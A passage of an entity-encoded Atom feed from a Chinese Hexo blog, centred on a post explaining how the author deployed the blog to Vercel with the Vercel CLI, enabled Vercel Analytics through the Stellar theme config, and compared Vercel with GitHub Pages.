&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E86;&amp;#x4F5C;&amp;#x8005;&amp;#x4ECE;gophernotes&amp;#x5207;&amp;#x6362;&amp;#x5230;GoNB&amp;#x4F5C;&amp;#x4E3A;Jupyter Notebook&amp;#x7684;Go&amp;#x5185;&amp;#x6838;&amp;#x7684;&amp;#x7ECF;&amp;#x9A8C;&amp;#xFF0C;&amp;#x8BE6;&amp;#x7EC6;&amp;#x6BD4;&amp;#x8F83;&amp;#x4E86;&amp;#x4E24;&amp;#x79CD;&amp;#x5B9E;&amp;#x73B0;&amp;#x65B9;&amp;#x6848;&amp;#x7684;&amp;#x4F18;&amp;#x7F3A;&amp;#x70B9;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x9996;&amp;#x5148;&amp;#x63A2;&amp;#x8BA8;&amp;#x4E86;&amp;#x5728;Windows&amp;#x7CFB;&amp;#x7EDF;&amp;#x4E0B;&amp;#x4F7F;&amp;#x7528;gophernotes&amp;#x9047;&amp;#x5230;&amp;#x7684;&amp;#x95EE;&amp;#x9898;&amp;#xFF0C;&amp;#x4EE5;&amp;#x53CA;&amp;#x5C1D;&amp;#x8BD5;&amp;#x901A;&amp;#x8FC7;Docker&amp;#x89E3;&amp;#x51B3;&amp;#x7684;&amp;#x8FC7;&amp;#x7A0B;&amp;#xFF1B;&amp;#x7136;&amp;#x540E;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;GoNB&amp;#x7684;&amp;#x5B89;&amp;#x88C5;&amp;#x548C;&amp;#x4F7F;&amp;#x7528;&amp;#x65B9;&amp;#x6CD5;&amp;#xFF0C;&amp;#x5E76;&amp;#x901A;&amp;#x8FC7;&amp;#x5B9E;&amp;#x9645;&amp;#x793A;&amp;#x4F8B;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;GoNB&amp;#x4F18;&amp;#x79C0;&amp;#x7684;&amp;#x4EE3;&amp;#x7801;&amp;#x6267;&amp;#x884C;&amp;#x3001;&amp;#x53EF;&amp;#x89C6;&amp;#x5316;&amp;#x548C;&amp;#x4EA4;&amp;#x4E92;&amp;#x80FD;&amp;#x529B;&amp;#x3002;&amp;#x5BF9;&amp;#x4E8E;&amp;#x5E0C;&amp;#x671B;&amp;#x5728;Jupyter&amp;#x73AF;&amp;#x5883;&amp;#x4E2D;&amp;#x4F7F;&amp;#x7528;Go&amp;#x8BED;&amp;#x8A00;&amp;#x7684;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#xFF0C;&amp;#x672C;&amp;#x6587;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x5B9E;&amp;#x7528;&amp;#x7684;&amp;#x5DE5;&amp;#x5177;&amp;#x9009;&amp;#x62E9;&amp;#x548C;&amp;#x914D;&amp;#x7F6E;&amp;#x6307;&amp;#x5357;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    <category term="Jupyter Notebook" scheme="https://oschina.win/categories/Tools/Jupyter-Notebook/"/>
    
    
    <category term="Golang" scheme="https://oschina.win/tags/Golang/"/>
    
  </entry>
  
  <entry>
    <title>如何使用 Vercel 托管博客</title>
    <link href="https://oschina.win/posts/ee8b1c6e.html"/>
    <id>https://oschina.win/posts/ee8b1c6e.html</id>
    <published>2024-09-09T01:41:51.000Z</published>
    <updated>2025-04-25T13:25:58.162Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x8BB0;&#x5F55;&#x4E86;&#x5C06;Hexo&#x535A;&#x5BA2;&#x4ECE;GitHub Pages&#x8FC1;&#x79FB;&#x5230;Vercel&#x5E73;&#x53F0;&#x7684;&#x5B8C;&#x6574;&#x8FC7;&#x7A0B;&#x3002;&#x6587;&#x7AE0;&#x9996;&#x5148;&#x4ECB;&#x7ECD;&#x4E86;&#x5B89;&#x88C5;Vercel&#x547D;&#x4EE4;&#x884C;&#x5DE5;&#x5177;&#x5E76;&#x767B;&#x5F55;&#x8D26;&#x6237;&#x7684;&#x57FA;&#x7840;&#x6B65;&#x9AA4;&#xFF0C;&#x7136;&#x540E;&#x8BE6;&#x7EC6;&#x8BF4;&#x660E;&#x4E86;&#x5982;&#x4F55;&#x90E8;&#x7F72;&#x9884;&#x89C8;&#x7248;&#x548C;&#x751F;&#x4EA7;&#x7248;&#x672C;&#x7684;&#x535A;&#x5BA2;&#x7AD9;&#x70B9;&#x3002;&#x9664;&#x4E86;&#x57FA;&#x672C;&#x90E8;&#x7F72;&#x5916;&#xFF0C;&#x8FD8;&#x63A2;&#x8BA8;&#x4E86;Vercel&#x7684;&#x9AD8;&#x7EA7;&#x529F;&#x80FD;&#xFF0C;&#x5305;&#x62EC;Analytics&#x6570;&#x636E;&#x5206;&#x6790;&#x3001;&#x57DF;&#x540D;&#x7BA1;&#x7406;&#x548C;&#x65E5;&#x5FD7;&#x7CFB;&#x7EDF;&#x7B49;&#x4F01;&#x4E1A;&#x7EA7;&#x7279;&#x6027;&#x3002;&#x901A;&#x8FC7;&#x5BF9;&#x6BD4;GitHub Pages&#x4E0E;Vercel&#x7684;&#x4F18;&#x7F3A;&#x70B9;&#xFF0C;&#x4F5C;&#x8005;&#x5F97;&#x51FA;&#x7ED3;&#x8BBA;&#xFF1A;&#x4E24;&#x4E2A;&#x5E73;&#x53F0;&#x53EF;&#x4EE5;&#x5E76;&#x884C;&#x4F7F;&#x7528;&#xFF0C;&#x4E00;&#x6B21;&#x4EE3;&#x7801;&#x63A8;&#x9001;&#x89E6;&#x53D1;&#x53CC;&#x5E73;&#x53F0;&#x90E8;&#x7F72;&#xFF0C;&#x4ECE;&#x800C;&#x540C;&#x65F6;&#x4EAB;&#x53D7;&#x4E24;&#x8005;&#x7684;&#x4F18;&#x52BF;&#x3002;</p><span id="more"></span><p>&#x6211;&#x4F7F;&#x7528;&#x7684;&#x662F; Stellar &#x4E3B;&#x9898;&#x7684; Hexo &#x535A;&#x5BA2;&#xFF0C;&#x4F7F;&#x7528; GitHub Pages &#x6258;&#x7BA1;&#x3002;&#x524D;&#x6BB5;&#x65F6;&#x95F4;&#x4F7F;&#x7528; Giscus &#x4F5C;&#x4E3A;&#x535A;&#x5BA2;&#x7684;&#x8BC4;&#x8BBA;&#x63D2;&#x4EF6;&#xFF0C;&#x4E0E;&#x4E4B;&#x524D;&#x7684;&#x57FA;&#x4E8E; GitHub Issue &#x4F5C;&#x4E3A;&#x8BC4;&#x8BBA;&#x7684; utterances &#x4E0D;&#x540C;&#xFF0C;Giscus &#x662F;&#x57FA;&#x4E8E; GitHub Discussions &#x7684;&#x3002; &#x4E4B;&#x540E;&#x53C8;&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x70B9;&#x5C0F;&#x6539;&#x8FDB;&#xFF0C;&#x89C1; <a href="/posts/816d473e.html" title="&#x5728; timeline &#x4E2D;&#x5C55;&#x793A; Github Discussion &#x6700;&#x65B0;&#x8BC4;&#x8BBA;">&#x5728; timeline &#x4E2D;&#x5C55;&#x793A; Github Discussion &#x6700;&#x65B0;&#x8BC4;&#x8BBA;</a>&#xFF0C;&#x5982;&#x6211;&#x5728;&#x8FD9;&#x7BC7;&#x535A;&#x5BA2;&#x91CC;&#x8BF4;&#x7684;&#xFF0C;&#x7531;&#x6B64;&#x6211;&#x89E3;&#x9501;&#x4E86;&#x4F7F;&#x7528; Vercel &#x6258;&#x7BA1;&#x670D;&#x52A1;&#x7684;&#x7ECF;&#x9A8C;&#x3002;&#x8FD9;&#x7BC7;&#x5C31;&#x5927;&#x6982;&#x8BB0;&#x5F55;&#x4E00;&#x4E0B;&#x5982;&#x4F55;&#x6258;&#x7BA1;&#x7684;&#xFF0C;&#x4EE5;&#x53CA;&#x4E0E; GitHub Pages &#x76F8;&#x6BD4;&#xFF0C;Vercel &#x7684;&#x4F18;&#x52BF;&#x3002;</p><h2 id="&#x672C;&#x5730;&#x5B89;&#x88C5;-Vercel-&#x547D;&#x4EE4;">&#x672C;&#x5730;&#x5B89;&#x88C5; Vercel &#x547D;&#x4EE4;</h2><p>&#x5F88;&#x7B80;&#x5355;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm i -g vercel</span><br></pre></td></tr></table></figure><h2 id="&#x53BB;-Vercel-&#x5B98;&#x7F51;&#x767B;&#x5F55;">&#x53BB; Vercel &#x5B98;&#x7F51;&#x767B;&#x5F55;</h2><p>&#x4F7F;&#x7528; Github &#x8D26;&#x53F7;&#x767B;&#x5F55;&#x5373;&#x53EF;</p><h2 id="&#x5728;&#x672C;&#x5730;&#x9879;&#x76EE;&#x4E2D;&#x767B;&#x5F55;&#x5230;&#x8FDC;&#x7A0B;">&#x5728;&#x672C;&#x5730;&#x9879;&#x76EE;&#x4E2D;&#x767B;&#x5F55;&#x5230;&#x8FDC;&#x7A0B;</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">vercel login</span></span><br><span class="line">Vercel CLI 37.3.0</span><br><span class="line">? Log in to Vercel Continue with GitHub</span><br><span class="line"><span class="meta prompt_">&gt; </span><span class="language-bash">Success! GitHub authentication complete <span class="keyword">for</span> xxx@foxmail.com</span></span><br><span class="line">Congratulations! You are now logged in. In order to deploy something, run `vercel`.</span><br><span class="line">&#x1F4A1;  Connect your Git Repositories to deploy every branch push automatically (https://vercel.link/git).</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#x9A8C;&#x8BC1;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x56DE;&#x5230;&#x672C;&#x5730;&#x547D;&#x4EE4;&#x884C;&#x754C;&#x9762;</span></span><br></pre></td></tr></table></figure><h2 id="&#x90E8;&#x7F72;&#x5230;-Vercel">&#x90E8;&#x7F72;&#x5230; Vercel</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">vercel</span></span><br><span class="line">Vercel CLI 37.3.0</span><br><span class="line">&#x1F50D;  Inspect: https://vercel.com/cactusinhands-projects/my-blog/xxxx [27s]</span><br><span class="line">&#x2705;  Preview: https://my-blog-xxxx-cactusinhands-projects.vercel.app [27s]</span><br><span class="line">&#x1F4DD;  To deploy to production (my-blog-beta-pearl.vercel.app), run `vercel --prod`</span><br></pre></td></tr></table></figure><p>Vercel &#x9996;&#x5148;&#x4F1A;&#x628A;&#x672C;&#x5730;&#x9879;&#x76EE;&#x6240;&#x6709;&#x8D44;&#x6E90;&#x4E0A;&#x4F20;&#x5230;&#x8FDC;&#x7A0B;&#xFF0C;&#x4F5C;&#x4E3A; Vercel &#x4E0A;&#x4E00;&#x4E2A;&#x65B0;&#x7684; project&#x3002;</p><p>&#x56E0;&#x4E3A;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x7684; remote &#x4ED3;&#x5E93;&#x662F;&#x5728; GitHub &#x4E0A;&#xFF0C;&#x73B0;&#x5728;&#x4E0A;&#x4F20;&#x5230; Vercel &#x540E;&#xFF0C;Vercel &#x4E0A;&#x4E5F;&#x81EA;&#x52A8;&#x4E0E; GitHub &#x5173;&#x8054;&#x4E86;&#x3002;&#x540E;&#x9762;&#x53EA;&#x8981;&#x672C;&#x5730;&#x5F80; GitHub &#x63A8;&#x9001;&#x4EE3;&#x7801;&#xFF0C;&#x5728; Vercel &#x4E0A;&#x4F1A;&#x81EA;&#x52A8;&#x89E6;&#x53D1; build&#xFF0C;deploy &#x7B49;&#x6B65;&#x9AA4;&#x3002;</p><p>&#x8FD9;&#x91CC;&#x7684;&#x8F93;&#x51FA;&#x663E;&#x793A;&#xFF0C;&#x76EE;&#x524D;&#x6709;&#x4E2A;&#x9884;&#x89C8;&#x7248;(Preview)&#xFF0C;&#x70B9;&#x51FB;&#x94FE;&#x63A5;&#x5373;&#x53EF;&#x67E5;&#x770B;&#x9884;&#x89C8;&#x7248;&#x6548;&#x679C;&#x3002;&#x5982;&#x679C;&#x8981;&#x90E8;&#x7F72;&#x751F;&#x4EA7;&#x7248;&#x672C;&#xFF0C;&#x4F7F;&#x7528;&#x4E0B;&#x9762;&#x7684;&#x547D;&#x4EE4;&#xFF1A;</p><h2 id="&#x90E8;&#x7F72;&#x4E3A;&#x751F;&#x4EA7;&#x7248;&#x672C;">&#x90E8;&#x7F72;&#x4E3A;&#x751F;&#x4EA7;&#x7248;&#x672C;</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">vercel --prod</span></span><br><span class="line">Vercel CLI 37.3.0</span><br><span class="line">&#x1F50D;  Inspect: https://vercel.com/cactusinhands-projects/my-blog/xxdyy [4s]</span><br><span class="line">&#x2705;  Production: https://my-blog-xadda-cactusinhands-projects.vercel.app [4s]</span><br></pre></td></tr></table></figure><p>&#x6B64;&#x65F6;&#x751F;&#x4EA7;&#x7248;&#x672C;&#x5DF2;&#x7ECF;&#x90E8;&#x7F72;&#x5B8C;&#x6210;&#x4E86;&#xFF0C;&#x53EF;&#x4EE5;&#x70B9;&#x51FB;&#x4E0A;&#x9762;&#x63D0;&#x4F9B;&#x7684;&#x94FE;&#x63A5;&#x76F4;&#x63A5;&#x8FDB;&#x5165;&#x67E5;&#x770B;&#x3002;</p><h2 id="Analytics">Analytics</h2><p>&#x56DE;&#x5230; Vervel &#x9879;&#x76EE;&#x9875;&#x9762;&#xFF0C;&#x5F88;&#x5F88;&#x591A;&#x529F;&#x80FD;&#x503C;&#x5F97;&#x63A2;&#x7D22;&#xFF0C;&#x6BD4;&#x5982; Analytics:<br><img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240909005319.png" alt="image.png"><br>&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x7F51;&#x9875;&#x7684;&#x4E00;&#x4E9B;&#x6570;&#x636E;&#x3002;&#x4F46;&#x662F;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#x4E0D;&#x662F;&#x9ED8;&#x8BA4;&#x6253;&#x5F00;&#x7684;&#xFF0C;&#x9700;&#x8981;&#x5BF9;&#x9879;&#x76EE;&#x8FDB;&#x884C;&#x4E00;&#x70B9;&#x70B9;&#x66F4;&#x6539;&#x3002;&#x8FD9;&#x91CC;&#x6709;&#x5B98;&#x7F51;&#x63D0;&#x4F9B;&#x7684; <a href="https://vercel.com/docs/analytics/quickstart">Quickstart</a>&#xFF0C;&#x5176;&#x5B9E;&#x5F88;&#x7B80;&#x5355;&#xFF1A;&#x5BF9;&#x4E8E;&#x9759;&#x6001;&#x7F51;&#x7AD9;&#xFF0C;&#x5982; Hexo &#x8FD9;&#x79CD;&#x7684;&#xFF0C;&#x4E0D;&#x7528;&#x5B89;&#x88C5; <code>@vercel/analytics</code> &#x5305;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728; HTML &#x91CC;&#x6CE8;&#x5165;&#x4EE5;&#x4E0B;&#x51E0;&#x884C;&#x4EE3;&#x7801;&#x5C31;&#x884C;&#xFF1A;</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="variable language_">window</span>.<span class="property">va</span> =</span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">window</span>.<span class="property">va</span> ||</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">function</span> (<span class="params"></span>) {</span></span><br><span class="line"><span class="language-javascript">      (<span class="variable language_">window</span>.<span class="property">vaq</span> = <span class="variable language_">window</span>.<span class="property">vaq</span> || []).<span class="title function_">push</span>(<span class="variable language_">arguments</span>);</span></span><br><span class="line"><span class="language-javascript">    };</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">defer</span> <span class="attr">src</span>=<span class="string">&quot;/_vercel/insights/script.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>&#x5BF9;&#x4E8E; Stellar, &#x5728; <code>_config.stellar.yml</code> &#x4E2D;&#x662F;&#x8FD9;&#x6837;&#x7684;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">inject:</span></span><br><span class="line">  <span class="attr">head:</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">script:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="string">&lt;script&gt;</span> <span class="string">window.va</span> <span class="string">=</span> <span class="string">window.va</span> <span class="string">||</span> <span class="string">function</span> <span class="string">()</span> { <span class="string">(window.vaq</span> <span class="string">=</span> <span class="string">window.vaq</span> <span class="string">||</span> []<span class="string">).push(arguments);</span> }<span class="string">;</span> <span class="string">&lt;/script&gt;</span></span><br><span class="line">    <span class="bullet">-</span> &#xA0;<span class="string">&lt;script</span> <span class="string">defer</span> <span class="string">src=&quot;/_vercel/insights/script.js&quot;&gt;&lt;/script&gt;</span></span><br></pre></td></tr></table></figure><p>&#x5728;&#x672C;&#x5730;&#x66F4;&#x65B0;&#x4E86;&#x4EE3;&#x7801;&#xFF0C;&#x7136;&#x540E;&#x91CD;&#x65B0;&#x6267;&#x884C;&#x5206;&#x522B;&#x6267;&#x884C; <code>vercel</code>, <code>vercel --prod</code> &#x5373;&#x53EF;&#x3002;</p><h2 id="domain">domain</h2><p>&#x6CE8;&#x610F;&#x5230;&#x521A;&#x624D;&#x4F7F;&#x7528; vercel &#x547D;&#x4EE4;&#x90E8;&#x7F72;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x7ED9;&#x51FA;&#x7684;&#x5730;&#x5740;&#x90FD;&#x662F; <code>https://</code> &#x5F00;&#x5934;&#x7684;&#x3002;&#x5176;&#x5B9E; Vercel &#x5DF2;&#x7ECF;&#x4E3A;&#x4F60;&#x5206;&#x914D;&#x4E86;&#x4E00;&#x4E2A;&#x57DF;&#x540D;&#x3002;&#x5728; Settings &#x4E2D;&#x627E;&#x5230; Domains &#x53EF;&#x4EE5;&#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#xFF1A;<img src="https://fastly.jsdelivr.net/gh/Cactusinhand/images_repo/images/20240909010646.png" alt="image.png"><br>&#x4E5F;&#x53EF;&#x4EE5;&#x7ED1;&#x5B9A;&#x5230;&#x81EA;&#x5DF1;&#x5176;&#x5B83;&#x7684;&#x57DF;&#x540D;&#x3002;</p><h2 id="Logs">Logs</h2><p>Vercel &#x9879;&#x76EE;&#x7684; Logs &#x6A21;&#x5757;&#x7684;&#x529F;&#x80FD;&#x4E5F;&#x5F88;&#x4E30;&#x5BCC;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x4E0A;&#x9762;&#x67E5;&#x770B;&#x90E8;&#x7F72;&#x7684;&#x670D;&#x52A1;&#x7684;&#x5404;&#x79CD;&#x8FD0;&#x884C;&#x65E5;&#x5FD7;&#x3002;</p><h2 id="GitHub-pages-&#xFF1F;">GitHub pages &#xFF1F;</h2><p>&#x5BF9;&#x4E8E;&#x6258;&#x7BA1;&#x5728; Vercel &#x4E0A;&#x7684;&#x670D;&#x52A1;&#xFF0C;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#x529F;&#x80FD;&#x53EF;&#x4EE5;&#x5C1D;&#x8BD5;&#xFF0C;&#x6BD4;&#x5982; Firewall&#xFF0C;Storage &#x7B49;&#x7B49;&#x3002;&#x4E0E; Vercel &#x76F8;&#x6BD4;&#xFF0C;GitHub pages &#x7B80;&#x76F4;&#x662F;&#x6CA1;&#x6CD5;&#x6BD4;&#xFF0C;&#x5B83;&#x770B;&#x8D77;&#x6765;&#x5C31;&#x50CF;&#x5341;&#x5E74;&#x524D;&#x7684;&#x4EA7;&#x7269;&#x3002;&#x800C; Vercel &#x5374;&#x662F;&#x73B0;&#x4EE3;&#x7684;&#xFF0C;&#x529F;&#x80FD;&#x4E30;&#x5BCC;&#x7684;&#xFF0C;&#x662F;&#x80FD;&#x6258;&#x7BA1;&#x4F01;&#x4E1A;&#x7EA7;&#xFF0C;&#x751F;&#x4EA7;&#x7EA7;&#x670D;&#x52A1;&#x7684;&#x5E73;&#x53F0;&#x3002;&#x5BF9;&#x4E8E;&#x4E2A;&#x4EBA;&#x5F00;&#x53D1;&#x8005;&#x7B80;&#x76F4;&#x662F;&#x5B8C;&#x7F8E;&#x3002;&#x5173;&#x4E8E; Vercel&#xFF0C;&#x5728;&#x77E5;&#x4E4E;&#x6709;&#x4E2A;&#x8FD9;&#x6837;&#x7684;&#x8BDD;&#x9898;&#xFF1A; <a href="https://zhuanlan.zhihu.com/p/347990778">vercel &#x662F;&#x4EC0;&#x4E48;&#x795E;&#x4ED9;&#x7F51;&#x7AD9;&#xFF1F;</a> &#x770B;&#x5B8C;&#x89C9;&#x5F97;&#x6211;&#x600E;&#x4E48;&#x6CA1;&#x6709;&#x65E9;&#x70B9;&#x77E5;&#x9053;&#x8FD9;&#x4E2A;&#x5E73;&#x53F0;&#x3002;&#x4F46;&#x662F; GitHub pages &#x4E5F;&#x4E0D;&#x662F;&#x5B8C;&#x5168;&#x627E;&#x4E0D;&#x5230;&#x4F18;&#x70B9;&#xFF0C;&#x4F9D;&#x9760; GitHub &#x8FD9;&#x5E73;&#x53F0;&#x672C;&#x8EAB;&#xFF0C;&#x5B83;&#x5C31;&#x8DB3;&#x591F;&#x5B89;&#x5168;&#x53EF;&#x9760;&#x3002;&#x4E0D;&#x50CF;&#x67D0;&#x4E9B;&#x5E73;&#x53F0;&#xFF0C;&#x670D;&#x52A1;&#x8BF4;&#x5173;&#x5C31;&#x5173;&#xFF0C;&#x6216;&#x8005;&#x4EA7;&#x54C1;&#x7A33;&#x5B9A;&#x6027;&#x582A;&#x5FE7;&#x8FD8;&#x4E0D;&#x77E5;&#x6539;&#x8FDB;&#x3002;<br>GitHub pages &#x5728;&#x6709;&#x4EE3;&#x7801;&#x63A8;&#x9001;&#x540E;&#x4F1A;&#x81EA;&#x52A8;&#x89E6;&#x53D1;&#x90E8;&#x7F72;&#xFF0C;&#x524D;&#x9762;&#x4E5F;&#x8BF4;&#x8FC7;&#x63A8;&#x9001;&#x4EE3;&#x7801;&#x65F6; Vercel &#x4E5F;&#x4F1A;&#x89E6;&#x53D1;&#x90E8;&#x7F72;&#x3002;&#x6240;&#x4EE5;&#x73B0;&#x5728;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x4E0D;&#x662F;&#x8C01;&#x597D;&#x4E0D;&#x597D;&#xFF0C;&#x800C;&#x662F;&#x6211;&#x5168;&#x90FD;&#x8981;&#x3002; &#x4E00;&#x6B21;&#x63A8;&#x9001;&#xFF0C;&#x4E24;&#x5730;&#x90E8;&#x7F72;&#xFF0C;&#x4F55;&#x4E50;&#x800C;&#x4E0D;&#x4E3A;&#x5462;&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB0;&amp;#x5F55;&amp;#x4E86;&amp;#x5C06;Hexo&amp;#x535A;&amp;#x5BA2;&amp;#x4ECE;GitHub Pages&amp;#x8FC1;&amp;#x79FB;&amp;#x5230;Vercel&amp;#x5E73;&amp;#x53F0;&amp;#x7684;&amp;#x5B8C;&amp;#x6574;&amp;#x8FC7;&amp;#x7A0B;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x9996;&amp;#x5148;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;&amp;#x5B89;&amp;#x88C5;Vercel&amp;#x547D;&amp;#x4EE4;&amp;#x884C;&amp;#x5DE5;&amp;#x5177;&amp;#x5E76;&amp;#x767B;&amp;#x5F55;&amp;#x8D26;&amp;#x6237;&amp;#x7684;&amp;#x57FA;&amp;#x7840;&amp;#x6B65;&amp;#x9AA4;&amp;#xFF0C;&amp;#x7136;&amp;#x540E;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BF4;&amp;#x660E;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x90E8;&amp;#x7F72;&amp;#x9884;&amp;#x89C8;&amp;#x7248;&amp;#x548C;&amp;#x751F;&amp;#x4EA7;&amp;#x7248;&amp;#x672C;&amp;#x7684;&amp;#x535A;&amp;#x5BA2;&amp;#x7AD9;&amp;#x70B9;&amp;#x3002;&amp;#x9664;&amp;#x4E86;&amp;#x57FA;&amp;#x672C;&amp;#x90E8;&amp;#x7F72;&amp;#x5916;&amp;#xFF0C;&amp;#x8FD8;&amp;#x63A2;&amp;#x8BA8;&amp;#x4E86;Vercel&amp;#x7684;&amp;#x9AD8;&amp;#x7EA7;&amp;#x529F;&amp;#x80FD;&amp;#xFF0C;&amp;#x5305;&amp;#x62EC;Analytics&amp;#x6570;&amp;#x636E;&amp;#x5206;&amp;#x6790;&amp;#x3001;&amp;#x57DF;&amp;#x540D;&amp;#x7BA1;&amp;#x7406;&amp;#x548C;&amp;#x65E5;&amp;#x5FD7;&amp;#x7CFB;&amp;#x7EDF;&amp;#x7B49;&amp;#x4F01;&amp;#x4E1A;&amp;#x7EA7;&amp;#x7279;&amp;#x6027;&amp;#x3002;&amp;#x901A;&amp;#x8FC7;&amp;#x5BF9;&amp;#x6BD4;GitHub Pages&amp;#x4E0E;Vercel&amp;#x7684;&amp;#x4F18;&amp;#x7F3A;&amp;#x70B9;&amp;#xFF0C;&amp;#x4F5C;&amp;#x8005;&amp;#x5F97;&amp;#x51FA;&amp;#x7ED3;&amp;#x8BBA;&amp;#xFF1A;&amp;#x4E24;&amp;#x4E2A;&amp;#x5E73;&amp;#x53F0;&amp;#x53EF;&amp;#x4EE5;&amp;#x5E76;&amp;#x884C;&amp;#x4F7F;&amp;#x7528;&amp;#xFF0C;&amp;#x4E00;&amp;#x6B21;&amp;#x4EE3;&amp;#x7801;&amp;#x63A8;&amp;#x9001;&amp;#x89E6;&amp;#x53D1;&amp;#x53CC;&amp;#x5E73;&amp;#x53F0;&amp;#x90E8;&amp;#x7F72;&amp;#xFF0C;&amp;#x4ECE;&amp;#x800C;&amp;#x540C;&amp;#x65F6;&amp;#x4EAB;&amp;#x53D7;&amp;#x4E24;&amp;#x8005;&amp;#x7684;&amp;#x4F18;&amp;#x52BF;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    
    <category term="Vercel" scheme="https://oschina.win/tags/Vercel/"/>
    
  </entry>
  
  <entry>
    <title>在 timeline 中展示 Github Discussion 最新评论</title>
    <link href="https://oschina.win/posts/816d473e.html"/>
    <id>https://oschina.win/posts/816d473e.html</id>
    <published>2024-09-06T08:41:02.168Z</published>
    <updated>2025-04-25T13:25:14.710Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x8BB0;&#x5F55;&#x4E86;&#x5982;&#x4F55;&#x901A;&#x8FC7;Vercel&#x6258;&#x7BA1;&#x670D;&#x52A1;&#x83B7;&#x53D6;GitHub Discussions&#x8BC4;&#x8BBA;&#x6570;&#x636E;&#xFF0C;&#x5E76;&#x5C06;&#x5176;&#x5C55;&#x793A;&#x5728;&#x535A;&#x5BA2;&#x7684;timeline&#x7EC4;&#x4EF6;&#x4E2D;&#x3002;&#x6587;&#x7AE0;&#x5206;&#x6B65;&#x9AA4;&#x4ECB;&#x7ECD;&#x4E86;&#x5B8C;&#x6574;&#x5B9E;&#x73B0;&#x6D41;&#x7A0B;&#xFF1A;&#x4ECE;Vercel&#x90E8;&#x7F72;&#x670D;&#x52A1;&#x3001;&#x542F;&#x7528;GitHub&#x4ED3;&#x5E93;&#x7684;Discussion&#x529F;&#x80FD;&#x3001;&#x914D;&#x7F6E;Giscus&#x5E94;&#x7528;&#xFF0C;&#x5230;&#x8BBE;&#x7F6E;&#x5FC5;&#x8981;&#x7684;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x3001;&#x6D4B;&#x8BD5;API&#x63A5;&#x53E3;&#xFF0C;&#x6700;&#x540E;&#x96C6;&#x6210;&#x5230;Stellar&#x4E3B;&#x9898;&#x4E2D;&#x3002;&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x9879;&#x76EE;&#xFF0C;&#x4F5C;&#x8005;&#x4E0D;&#x4EC5;&#x5B9E;&#x73B0;&#x4E86;&#x663E;&#x793A;&#x6700;&#x65B0;&#x8BC4;&#x8BBA;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x8FD8;&#x5206;&#x4EAB;&#x4E86;&#x4F7F;&#x7528;Vercel&#x90E8;&#x7F72;Serverless&#x51FD;&#x6570;&#x7684;&#x5B9E;&#